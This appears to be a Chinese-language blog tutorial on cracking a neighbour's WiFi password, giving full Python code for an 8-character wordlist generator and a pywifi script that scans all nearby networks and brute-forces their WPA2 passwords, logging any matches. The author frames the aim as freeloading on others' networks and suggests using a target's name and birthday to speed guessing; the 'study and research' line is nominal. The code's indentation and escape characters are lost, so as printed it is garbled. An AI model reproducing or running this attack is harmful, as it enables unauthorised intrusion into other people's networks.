嘿,你家的网络断了吗?想要蹭邻居家的WiFi来阅读这篇文章就够了!那么首先你需要准备些什么呢?首先要有一台电脑,然后按照以下教程进行操作。
- 安装Python环境,打开Python官网。
- 打开安装程序,选择安装即可。
- 如果你已经完成上述步骤,可以尝试运行Python来验证是否安装成功。按住Win+R键,输入”python”,你会看到Python的交互窗口。如果你成功看到交互窗口,那就证明你已经成功安装了Python,你可以关闭窗口了。接下来就是代码部分了。要破解密码,首先需要一个密码本。我们先写一段代码来生成密码本。首先创建一个名为”password.py”的文件。
import itertools as its
def run_numonly(length, filename):
global words
words = "1234567890qwertyuiopasdfghjklzxcvbnm"
r = its.product(words, repeat=length)
dic = open(filename, 'a')
for i in r:
dic.write("".join(i))
dic.write("".join("n"))
dic.close()
if __name__ == "__main__":
run_numonly(8, "password.txt")
cd Desktop
文件创建成功后,用记事本打开它,然后将下面的代码粘贴进去。这段代码的作用是生成一个包含8位数字和小写字母的密码本。好了,下面是如何执行代码的步骤:按下Win+R键,输入”cmd”,然后使用盘符命令和cd命令进入你的代码所在位置。如果你是第一次使用Python,建议将文件创建在桌面上,这样可以与我的教程同步,避免不必要的麻烦。首先,使用cd命令进入桌面。
python password.py
然后,运行代码。代码运行1-2分钟后,关闭窗口即可。因为生成包含数字和字母的8位密码文件实在太大,所需时间太长。这里我向大家展示一下运行10分钟后的结果,密码文件达到了32GB。接下来,用记事本打开”password.txt”。如果你无法打开文件,可能是文件太大了,不用着急,可以参考这里。文件中的密码按照数字和字母的顺序排列,列出了所有8位数字和字母的组合。
pip install pywifi
有了密码本,我们就可以开始逐个尝试了。当然,手动尝试太麻烦,我们还是使用Python来帮忙。借助Python的pywifi模块,我们可以操作无线接口。开始安装pywifi,按下Win+R键,输入”cmd”,然后输入下面的命令。
# coding:utf-8
# coding:gbk
import time # 时间
import pywifi # 破解wifi
from pywifi import const # 引用一些定义
from asyncio.tasks import sleep
# 需要第三方库 pywifi (python3 pip install pywifi)
# 功能:
# 1、扫描周围wifi列表 将ssid写入文本
# 2、读取密码字典进行匹配
class PoJie():
###
# 初始化
###
def __init__(self, ssidfile, pwdfile, resfile): # 类初始化
self.resfile = resfile # 破解结果文本文件
self.pwdfile = pwdfile # 密码字典文本文件
self.ssidfile = ssidfile # wifi的ssid列表文件
wifi = pywifi.PyWiFi() # 抓取网卡接口
self.iface = wifi.interfaces()[0] # 抓取第一个无线网卡
self.iface.disconnect() # 测试链接断开所有链接
time.sleep(1) # 休眠1秒
# 测试网卡是否属于断开状态,
assert self.iface.status() in
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
###
#读取密码本
###
def readPassWord(self, wifissid): # 读取密码字典,进行匹配
print("开始破解: %s" % wifissid)
# 将结果写入文本文件记录
res = "开始破解:: %s n" % wifissid;
open(self.resfile, "a",encoding= "utf-8").write(res)
pwdfilehander = open(self.pwdfile, "r",encoding= "utf-8", errors="ignore")
while True:
try:
myStr = pwdfilehander.readline()
if not myStr:
break
bool1 = self.test_connect(myStr, wifissid)
if bool1:
# print("密码正确:"+myStr)
# res = "密码:%s 正确 n"%myStr;
res = "===正确=== ^_^ wifi名:%s 匹配密码:%s " % (wifissid, myStr);
print(res)
# 将结果写入文本文件记录
open(self.resfile, "a",encoding= "utf-8").write(res)
break
else:
# print("密码:"+myStr+"错误")
res = "---错误--- wifi名:%s匹配密码:%s" % (wifissid, myStr);
print(res)
# 将结果写入文本文件记录
open(self.resfile, "a",encoding= "utf-8").write(res)
sleep(3)
except:
continue
# 读取wifi的ssid列表、读取密码字典,进行匹配
def foreachPassWord(self):
print("^_^开始读取wifi的ssid列表...")
ssidfilehander = open(self.ssidfile, "r", encoding= "utf-8",errors="ignore")
ssidStrs = ssidfilehander.readlines()
# print(ssidStrs)
for index in range(len(ssidStrs)):
self.readPassWord(ssidStrs[index])
print("执行完毕! ^_^")
# 扫描周边wifi列表 并写入文本中(一行一个)
def scans_wifi_list(self): # 扫描周围wifi列表
# 开始扫描
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
# 在若干秒后获取扫描结果
scanres = self.iface.scan_results()
# 统计附近被发现的热点数量
nums = len(scanres)
# print("|SCAN GET %s"%(nums))
print("数量: %s" % (nums))
# 在控制台表格输出 扫描列表
# 表格 标题行
# print ("%sn%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70))
print("| %s | %s | %s | %s" % ("WIFIID", "SSID", "BSSID", "signal"))
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self, scans_res): # 显示扫描周围wifi列表
# 开始扫描
# self.scans_wifi_list()
for index, wifi_info in enumerate(scans_res):
# print("%-*s| %s | %*s |%*sn"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
print("| %s | %s | %s | %s n" % (index, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
print("^_^ 扫描结束. ^_^")
print("^_^ 先预览. ^_^")
for index, wifi_info in enumerate(scans_res):
res = "%sn" % wifi_info.ssid; # wifi的ssid名
print(res)
print("^_^ 预览结束. ^_^")
print("^_^ 开始写入... ^_^")
for index, wifi_info in enumerate(scans_res):
res = "%sn" % wifi_info.ssid; # wifi的ssid名
# 将wifi的ssid名写入文本文件记录
# ssidfilehandle = open(self.ssidfile,"a").write(res)
open(self.ssidfile, "a", encoding= "utf-8").write(res)
print("^_^ 写入结束. ^_^")
# ssidfilehandle.close()
def test_connect(self, findStr, wifissid): # 测试链接
profile = pywifi.Profile() # 创建wifi链接文件
# profile.ssid ="e2" #wifi名称
# profile.ssid ="1104" #wifi名称
# profile.ssid ="1601" #wifi名称
profile.ssid = wifissid # wifi名称
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放,
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = findStr # 密码
self.iface.remove_all_network_profiles() # 删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件
self.iface.connect(tmp_profile) # 链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上
isOK = True
else:
isOK = False
self.iface.disconnect() # 断开
time.sleep(1)
# 检查断开状态
assert self.iface.status() in
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
# def __del__(self):
# ssidfilehandle.close()
# 引入 配置参数 相对路径写法
pwdfile = "password.txt" # 密码字典文本路径
resfile = "pj_res.txt" # 结果文本文件保存路径
ssidfile = "wifi_ssid_list.txt" # wifi的ssid的列表保存路径
start = PoJie(ssidfile, pwdfile, resfile) # 实例化类
# 扫描周边wifi列表
start.scans_wifi_list()
# 读取密码字典、读取wifi的ssid列表、将结果写入文本文件
start.foreachPassWord()
我这里已经安装过了,所以结果可能与你们不太一样,耐心等待即可。下面是代码部分,创建一个名为”main.py”的文件,用记事本打开它,然后将下面的代码粘贴进去。这段代码主要做了三件事:1. 扫描所有的WiFi;2. 使用生成的密码破解扫描到的所有WiFi;3. 记录破解成功的密码。
当然,破解密码并不是那么简单,需要几天的时间。这里只是为了学习和研究。当然,如果你知道密码的长度以及是否包含字母和特殊符号,那么破解时间会减少。如果你真的想要破解WiFi密码,建议深入研究密码学。如果你知道对方的名字和生日,可以将它们作为参数放入生成密码的过程中。这些内容我会在以后介绍。接下来,运行代码,按下Win+R键,输入”cmd”。
python main.py